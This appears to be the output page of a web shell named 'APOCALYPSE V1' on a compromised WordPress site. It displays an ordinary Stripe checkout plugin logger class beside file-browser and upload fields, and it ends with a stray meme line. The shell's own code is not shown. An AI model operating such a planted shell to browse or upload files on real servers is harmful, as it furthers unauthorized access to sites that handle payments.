PK APOCALYPSE V1

APOCALYPSE V1

Current Path : /home/wallqcyy/www/wp-content/plugins/checkout-plugins-stripe-woo/inc/
Upload File :
Current File : /home/wallqcyy/www/wp-content/plugins/checkout-plugins-stripe-woo/inc/logger.php

<?php
/**
 * Stripe Logger Class.
 *
 * @package checkout-plugins-stripe-woo
 * @since 0.0.1
 */

namespace CPSW\Inc;

use CPSW\Inc\Traits\Get_Instance;
use CPSW\Inc\Helper;

/**
 * Stripe Logger Class.
 */
class Logger {

	use Get_Instance;


	/**
	 * Constructor
	 *
	 * @since 0.0.1
	 */
	public function __construct() {
	}


	/**
	 * Log the provided message in the WC logs directory.
	 *
	 * @param string $level One of the following:
	 *     'emergency': System is unusable.
	 *     'alert': Action must be taken immediately.
	 *     'critical': Critical conditions.
	 *     'error': Error conditions.
	 *     'warning': Warning conditions.
	 *     'notice': Normal but significant condition.
	 *     'info': Informational messages.
	 *     'debug': Debug-level messages.
	 * @param string $message Error log information.
	 * @param bool   $separator End separator required or not.
	 *
	 * @since 0.0.1
	 */
	public static function log( $level, $message, $separator = false ) {
		if ( 'yes' === Helper::get_setting( 'cpsw_debug_log' ) ) {
			$log = wc_get_logger();
			if ( $separator ) {
				$message .= PHP_EOL . '----';
			}
			$log->log( $level, $message, [ 'source' => 'cpsw-stripe' ] );
		}
	}


	/**
	 * Adds an emergency level message.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function emergency( $message, $separator = false ) {
		self::log( 'emergency', $message, $separator );
	}

	/**
	 * Adds an alert level message.
	 *
	 * Action must be taken immediately.
	 * Example: Entire website down, database unavailable, etc.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function alert( $message, $separator = false ) {
		self::log( 'alert', $message, $separator );
	}

	/**
	 * Adds a critical level message.
	 *
	 * Critical conditions.
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function critical( $message, $separator = false ) {
		self::log( 'critical', $message, $separator );
	}

	/**
	 * Adds an error level message.
	 *
	 * Runtime errors that do not require immediate action but should typically be logged
	 * and monitored.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function error( $message, $separator = false ) {
		self::log( 'error', $message, $separator );
	}

	/**
	 * Adds a warning level message.
	 *
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things that are not
	 * necessarily wrong.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function warning( $message, $separator = false ) {
		self::log( 'warning', $message, $separator );
	}

	/**
	 * Adds a notice level message.
	 *
	 * Normal but significant events.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function notice( $message, $separator = false ) {
		self::log( 'notice', $message, $separator );
	}

	/**
	 * Adds a info level message.
	 *
	 * Interesting events.
	 * Example: User logs in, SQL logs.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function info( $message, $separator = false ) {
		self::log( 'info', $message, $separator );
	}

	/**
	 * Adds a debug level message.
	 *
	 * Detailed debug information.
	 *
	 * @param string $message Message to log.
	 * @param bool   $separator End separator required or not.
	 * @since 0.0.1
	 */
	public static function debug( $message, $separator = false ) {
		self::log( 'debug', $message, $separator );
	}

}

if you don't want to be vaporized in a nuclear explosion, i simply have to become nuclear myself… i am atomic